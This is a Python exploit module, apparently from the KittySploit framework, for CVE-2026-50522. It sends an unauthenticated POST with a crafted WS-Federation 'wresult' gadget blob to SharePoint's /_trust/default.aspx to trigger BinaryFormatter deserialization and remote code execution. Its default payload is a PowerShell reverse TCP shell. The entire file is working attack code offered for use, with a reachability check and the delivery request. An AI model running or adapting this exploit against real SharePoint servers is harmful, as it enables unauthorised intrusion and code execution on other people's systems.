SharePoint Trust Endpoint Deserialization RCE (CVE-2026-50522)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""SharePoint WS-Federation trust BinaryFormatter RCE (CVE-2026-50522)."""

import base64
import uuid

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'SharePoint Trust Endpoint Deserialization RCE (CVE-2026-50522)',
        'description': (
            'Exploits CVE-2026-50522 in on-premises SharePoint: unauthenticated POST to '
            '/_trust/default.aspx with a crafted wresult/wctx WS-Federation payload triggers '
            'unsafe BinaryFormatter deserialization for remote code execution.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2026-50522'],
        'platform': Platform.WINDOWS,
        'arch': [Arch.X86, Arch.X64],
        'payload': {
            'default': 'payloads/singles/cmd/windows/powershell_reverse_tcp',
            'platform': Platform.WINDOWS,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://github.com/4minx/CVE-2026-50522',
            'https://www.sentinelone.com/vulnerability-database/cve-2026-50522/',
        ],
        'tags': ['sharepoint', 'deserialization', 'binaryformatter', 'trust', 'rce', 'unauth', 'microsoft'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/sharepoint_cve_2026_50522_detect'],
            },
        },
    }

    trust_path = OptString('/_trust/default.aspx', 'WS-Federation trust endpoint', required=False)
    command = OptString('', 'Command instead of payload', required=False)
    gadget_b64 = OptString(
        '',
        'Base64 BinaryFormatter gadget blob (ysoserial.net); empty = minimal probe header',
        required=False,
        advanced=True,
    )

    def _trust_reachable(self) -> bool:
        r = self.http_request(
            method='GET',
            path=str(self.trust_path or '/_trust/default.aspx'),
            allow_redirects=False,
        )
        if not r:
            return False
        body = (r.text or '').lower()
        headers = '\n'.join(f'{k}: {v}' for k, v in r.headers.items()).lower()
        return int(r.status_code or 0) in (200, 302, 500) and (
            'sharepoint' in body or 'microsoftsharepointteamservices' in headers
        )

    def _build_wresult(self, cmd: str) -> str:
        custom = str(self.gadget_b64 or '').strip()
        if custom:
            return custom
        marker = uuid.uuid4().hex[:8]
        probe = f'KITTYSPLOIT-{marker}'.encode()
        return base64.b64encode(probe).decode()

    def _build_saml_context(self, wresult: str) -> dict:
        ctx = uuid.uuid4().hex
        return {
            'wa': 'wsignin1.0',
            'wtrealm': 'urn:sharepoint:kittysploit',
            'wctx': ctx,
            'wresult': wresult,
        }

    def check(self):
        if not self._trust_reachable():
            return {'vulnerable': False, 'reason': '/_trust/default.aspx not exposed', 'confidence': 'high'}
        return {
            'vulnerable': True,
            'reason': 'SharePoint trust endpoint reachable for WS-Federation POST',
            'confidence': 'high',
        }

    def run(self):
        cmd = str(self.command or '').strip() or str(self.payload or '').strip()
        if not cmd and not str(self.gadget_b64 or '').strip():
            print_error('Set a payload, command, or gadget_b64 BinaryFormatter blob')
            return False
        print_status('CVE-2026-50522 — SharePoint trust endpoint deserialization')
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not vulnerable'))
            self.not_vulnerable()
            return False
        wresult = self._build_wresult(cmd)
        data = self._build_saml_context(wresult)
        path = str(self.trust_path or '/_trust/default.aspx')
        print_status(f'POST {path} with wresult gadget ({len(wresult)} bytes)...')
        r = self.http_request(
            method='POST',
            path=path,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            data=data,
            allow_redirects=False,
        )
        if r and r.status_code in (200, 302, 500):
            print_success('Trust endpoint gadget delivered — check listener or OOB marker')
            self.vulnerable()
            return True
        print_error(f'Deserialization POST failed (HTTP {getattr(r, "status_code", "?")})')
        return False